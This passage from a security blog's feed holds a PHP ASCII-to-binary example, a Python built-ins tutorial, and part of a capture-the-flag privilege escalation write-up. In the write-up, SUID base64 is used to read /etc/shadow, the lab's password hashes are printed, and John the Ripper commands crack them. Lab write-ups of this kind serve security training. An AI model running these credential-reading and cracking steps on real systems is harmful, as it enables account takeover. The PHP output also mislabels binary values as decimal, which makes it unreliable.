  &lt;a href=&quot;https://blog.hackingtruth.org/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;How Actually UTF-8 works with Practical?&quot; border=&quot;0&quot; data-original-height=&quot;1200&quot; data-original-width=&quot;1200&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0EmPPSg4ecXe6R4Fosu6ig2Y09t6L5U_L4Pnar4lBwvHx9PDDYIpKYYukQgm1IXFIO_0fWeRDeT5563zmt1WOEhpwwF4mMsDttGz8gGmPgXTMqCk-3sp9H3OyD1486MW3nyFkpm6EyFJG6hiaN4AKOqXsD8a09lF7wMhKgngKJnAMi_HqUG_hkFjayA/w640-h640/ASCII-table.png&quot; title=&quot;How Actually UTF-8 works with Practical?&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;In this case, the ASCII codes for the characters in &quot;&lt;b&gt;atul&lt;/b&gt;&quot; are:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;a&lt;/b&gt; = 97&lt;br /&gt;&lt;b&gt;t&lt;/b&gt; = 116&lt;br /&gt;&lt;b&gt;u&lt;/b&gt; = 117&lt;br /&gt;&lt;b&gt;l&lt;/b&gt; = 108&lt;br /&gt;&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;PHP Code of Decimal To Binary Converter&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php

echo &quot;&amp;lt;h1&amp;gt;Hacking Truth&amp;lt;/h1&amp;gt;&quot;;
echo &quot;&amp;lt;br /&amp;gt;&quot;;
$a = decbin(97);
echo &quot;The Decimal value of 97 is : $a&quot;;
echo &quot;&amp;lt;br /&amp;gt;&quot;;
$b = decbin(116);
echo &quot;The Decimal value of 116 is : $b&quot;;
echo &quot;&amp;lt;br /&amp;gt;&quot;;
$c = decbin(117);
echo &quot;The Decimal value of 117 is : $c&quot;;
echo &quot;&amp;lt;br /&amp;gt;&quot;;
$d = decbin(108);
echo &quot;The Decimal value of 108 is : $d&quot;;
echo &quot;&amp;lt;br /&amp;gt;&quot;;

?&amp;gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--feb-2023--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;9637714071&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blog.hackingtruth.org/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;How Actually UTF-8 works with Practical?&quot; border=&quot;0&quot; data-original-height=&quot;302&quot; data-original-width=&quot;623&quot; height=&quot;310&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi45Gx3HjwyAR54-xuRS2d1Zz1RqlaJAupJmvQHuKDYTkC_FUl7LCKN0hcZR4PaEA9-Ajl4KaK6uCk3M0vejcYlAYbo_dgnN1r5JJzd33Fn22tz2LUAvuw8Cde0gB2M2klzUfb4_Ds6z2EhSlysSTeafc4oj_y_U1R2hGS3ULx5_OMl7Fnp0ehQAdu6bg/w640-h310/utf-8-hackingtruth3.png&quot; title=&quot;How Actually UTF-8 works with Practical?&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;Computer Be Like - Thank You Buddy :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/2940179134827686380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/02/how-actually-utf-8-works-with-practical.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/2940179134827686380'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/2940179134827686380'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/02/how-actually-utf-8-works-with-practical.html' title='How Actually UTF-8 works with Practical?'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXsgaqPQ8PHwCepAVWMb4wZ-XMHD4bF6FSoFV19SuINoIQncRewXyivsn0bhDrr0DrKFGP3Ytw4sgQbqfUEyhQYOKHZdMZxGGQ89aUpjEEyy0dudFKBEp5LOTYBrZlLMjI0asfaYCUk4eZkzN8gApqTvqjI0dCcRcjazqJb0XMVVivu7z-13xFU8QdfA/s72-w640-h376-c/utf-8-hackingtruth-org.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-168556280110976298</id><published>2023-01-28T09:28:00.000-08:00</published><updated>2023-01-29T01:49:28.759-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Python built in functions</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Python built in functions&quot;
      border=&quot;0&quot;
      data-original-height=&quot;591&quot;
      data-original-width=&quot;1004&quot;
      height=&quot;376&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgkTFOjhC0lmEOHx5z4EhzrStn726CI9M-HYVfFzH5arzwtUW1VYtMggWS3J3bJaoGmcAubV_aRTu8scSx3y388Sl1vw0OHJDn_1JXWNFIHwheR26D6G70zwhLRBrlDcnqbzxFpkF9H95765yiluv1ZhCP7xZUBu8_PfX9vEf9EUByIdmJCjDk60zmWw/w640-h376/python-built-in-functions.png&quot;
      title=&quot;Python built in functions&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Filter()&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;
  The filter function is used to filter elements from an iterable according to a
  condition. It accepts two parameters: a function and an iterable. The function
  must return a boolean value, which will be used to filter the iterable. For
  example, you can use the following code to filter all even numbers from a
  list.
&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat filter.py
#!/usr/bin/python3

numbers = [1,2,3,4,5,6,7,8,9]

even_numbers = list(filter(lambda x:x % 2 ==0, numbers))
print(even_numbers)
odd_numbers = list(filter(lambda x:x % 2 == 1, numbers))
print(odd_numbers)
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ python3 filter.py
[2, 4, 6, 8]
[1, 3, 5, 7, 9]
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ 




&lt;/pre&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Reduce()&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  The retuce() function applies a function to all elements of an iterable and
  returns a single value. Because it is a component of the functools module, it
  must be imported before use. For example, you can use the following code to
  find the product of all elements in a list. &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;pre&gt;
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat reduce.py     
#!/usr/bin/python3

from functools import reduce

numbers = [1,2,3,4,5]
product = reduce(lambda x,y: x*y, numbers)
print(product)
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ python3 reduce.py            
120
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ 

&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;autorelaxed&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2580240692&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;isinstance()&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  The &lt;i&gt;&lt;b&gt;isinstance&lt;/b&gt;&lt;/i&gt; function is used to check if an object is an
  instance of a certain class or a subclass. It takes two argument: an object
  and a class. For example, you can use the following code to check if a
  variable is a list.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;pre&gt;
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat isinstance.py 
#!/usr/bin/python3

x = [1,2,3]

result = isinstance(x, list)

print(result)
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ sudo python3 isinstance.py                                                                          
True
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat isinstance.py
#!/usr/bin/python3

x = (1,2,3)

result = isinstance(x, list)

print(result)
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ sudo python3 isinstance.py
False
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ 



&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;5928005178&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;zip()&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  The zip function is used to combine two or more list into a single list of
  tuples. For example you can use the following two lists.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;pre&gt;
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat zip.py
#!/usr/bin/python3

list1 = [1,2,3,4,5]

list2 = [6,7,8,9]

print(list(zip(list1, list2)))
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ python3 zip.py
[(1, 6), (2, 7), (3, 8), (4, 9)]
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ 




&lt;/pre&gt;

&lt;h4 style=&quot;text-align: left;&quot;&gt;map()&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  The map() function is used to apply a function to all elements of an iterable.
  For example, you can use the following code to square all elements of a list.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;numbers = [1, 2, 3] &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;
numbers = [1, 2, 3, 4]
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- 4 jan 2k22 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;6887909224&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;div&gt;&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/168556280110976298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/01/python-built-in-functions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/168556280110976298'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/168556280110976298'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/01/python-built-in-functions.html' title='Python built in functions'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgkTFOjhC0lmEOHx5z4EhzrStn726CI9M-HYVfFzH5arzwtUW1VYtMggWS3J3bJaoGmcAubV_aRTu8scSx3y388Sl1vw0OHJDn_1JXWNFIHwheR26D6G70zwhLRBrlDcnqbzxFpkF9H95765yiluv1ZhCP7xZUBu8_PfX9vEf9EUByIdmJCjDk60zmWw/s72-w640-h376-c/python-built-in-functions.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-6575944401375218105</id><published>2023-01-12T22:50:00.005-08:00</published><updated>2023-01-12T22:50:52.256-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CEH v10 ( Certified Ethical Hacking )"/><category scheme="http://www.blogger.com/atom/ns#" term="ctf"/><category scheme="http://www.blogger.com/atom/ns#" term="kali linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Privilege Escalation"/><title type='text'>Privilege Escalation: Capstone Challenge - base64</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;591&quot;
      data-original-width=&quot;1004&quot;
      height=&quot;376&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC4C8UadGWfsTdsc8IPMkvjzNCBtd4WQ3RinU6BEqk0OufuDi-0sCXftP7U-Zu7wsVB6RONmM7KGKsUTP0FFE-51YgV_KZCEnDWr-PvEwvwWlWr62xEUlqwVdOET7fncLz8VnUitHQjz_FMqK0K50kr2TRBSBXqeC-E1UvE4kwX5CPG8TGTer7wlvKIA/w640-h376/linux.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Privilege Escalation: Capstone Challenge&lt;br /&gt;
&lt;/h4&gt;

&lt;br /&gt;&lt;b&gt;Privilege escalation &lt;/b&gt;ideally leads to root privileges. This can
sometimes be achieved simply by exploiting an existing
&lt;b&gt;&lt;i&gt;vulnerability&lt;/i&gt;&lt;/b
&gt;, or in some cases by accessing another user account that has more privileges,
information, or access.&lt;br /&gt;&lt;br /&gt;Unless a single vulnerability leads to a root
shell, the &lt;b&gt;privilege&lt;/b&gt; &lt;b&gt;escalation&lt;/b&gt; process will rely on
&lt;i&gt;misconfigurations&lt;/i&gt; and lax permissions.&lt;br /&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# What is the content of the flag1.txt file?&lt;/b
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After accessing the machine on SSH, we can
  enumerate using Linepeas.sh or conduct a manual search for possible privilege
  escalation vectors.&lt;br /&gt;&lt;br /&gt;Here I’m going to use the manual method.&lt;br /&gt;&lt;br /&gt;After
  looking through a list of&lt;b&gt;&lt;i&gt; SUID permissions &lt;/i&gt;&lt;/b&gt;I discovered that
  base64 can be used to read files. &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;find / -type f -perm -04000 -ls 2&amp;gt;/dev/null &lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;237&quot;
      data-original-width=&quot;853&quot;
      height=&quot;178&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_wl315Ea4fu1LCJzBnvCvzZZv13B14hKG0JQpT01nnw7vpt8F3EILB5NbIVUeAghzWH6rej7vlqd7G8iDca8Crf6SZirliWdIIcSpxN_id0t82eHSvFUHwb39dma30x-rLBJHycU-u2JOKGTzSjSZV5LsaIca7cdEy-QV8KooHOruOY49xy7xvjcbsg/w640-h178/1.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-format=&quot;autorelaxed&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2580240692&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  A quick search of where the flag is in the “/home” directory gives us the
  following result.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;find -name flag*.txt&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org/&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      border=&quot;0&quot;
      data-original-height=&quot;161&quot;
      data-original-width=&quot;451&quot;
      height=&quot;228&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVg9iu1jClcIpOXfnJfvagrJxaIrp-gyZKPo7UYDNNqS7vpstqzN2MOeOH9PaJ61leplDgb48zH9BbW-BEz-QgguVxFfWY8PyZCZu7or92oRLtllIsBP83RqYHpcMX5aLauHKMdhbojFVjR88tYoc1tTeyrV_9FtiGBUdTD96g3bWqaOOjzYHh57iIrA/w640-h228/2.png&quot;
      title=&quot;Privilege Escalation: Capstone Challenge - base64&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  We know the flags are in somewhere in the above directories but we can’t
  access them.&lt;br /&gt;&lt;br /&gt;Let’s try to crack the password for missy.&lt;br /&gt;&lt;br /&gt;First
  we will output the contents of the shadow file and try to crack missy’s
  password with John.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;LFILE=/etc/shadow&lt;br /&gt;base64 &quot;$LFILE&quot; | base64 --decode &lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;

[leonard@ip-10-10-218-85 home]$ 
[leonard@ip-10-10-218-85 home]$ 
[leonard@ip-10-10-218-85 home]$ LFILE=/etc/shadow
[leonard@ip-10-10-218-85 home]$ base64 &quot;$LFILE&quot; | base64 --decode
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
adm:*:18353:0:99999:7:::
lp:*:18353:0:99999:7:::
sync:*:18353:0:99999:7:::
shutdown:*:18353:0:99999:7:::
halt:*:18353:0:99999:7:::
mail:*:18353:0:99999:7:::
operator:*:18353:0:99999:7:::
games:*:18353:0:99999:7:::
ftp:*:18353:0:99999:7:::
nobody:*:18353:0:99999:7:::
pegasus:!!:18785::::::
systemd-network:!!:18785::::::
dbus:!!:18785::::::
polkitd:!!:18785::::::
colord:!!:18785::::::
unbound:!!:18785::::::
libstoragemgmt:!!:18785::::::
saslauth:!!:18785::::::
rpc:!!:18785:0:99999:7:::
gluster:!!:18785::::::
abrt:!!:18785::::::
postfix:!!:18785::::::
setroubleshoot:!!:18785::::::
rtkit:!!:18785::::::
pulse:!!:18785::::::
radvd:!!:18785::::::
chrony:!!:18785::::::
saned:!!:18785::::::
apache:!!:18785::::::
qemu:!!:18785::::::
ntp:!!:18785::::::
tss:!!:18785::::::
sssd:!!:18785::::::
usbmuxd:!!:18785::::::
geoclue:!!:18785::::::
gdm:!!:18785::::::
rpcuser:!!:18785::::::
nfsnobody:!!:18785::::::
gnome-initial-setup:!!:18785::::::
pcp:!!:18785::::::
sshd:!!:18785::::::
avahi:!!:18785::::::
oprofile:!!:18785::::::
tcpdump:!!:18785::::::
leonard:$6$JELumeiiJFPMFj3X$OXKY.N8LDHHTtF5Q/pTCsWbZtO6SfAzEQ6UkeFJy.Kx5C9rXFuPr.8n3v7TbZEttkGKCVj50KavJNAm7ZjRi4/::0:99999:7:::
mailnull:!!:18785::::::
smmsp:!!:18785::::::
nscd:!!:18785::::::
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
[leonard@ip-10-10-218-85 home]$ 
[leonard@ip-10-10-218-85 home]$ 

&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJx&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;MoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;:99999:7:::&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  We will create a new file on our machine using nano and paste the credentials
  of missy to crack with John &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nano file-to-crack.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cat file-to-crack.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;john --wordlist=&amp;lt;file-of-wordlist.txt&amp;gt;file-to-crack.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;john --show&amp;nbsp; file-to-crack.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;5928005178&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
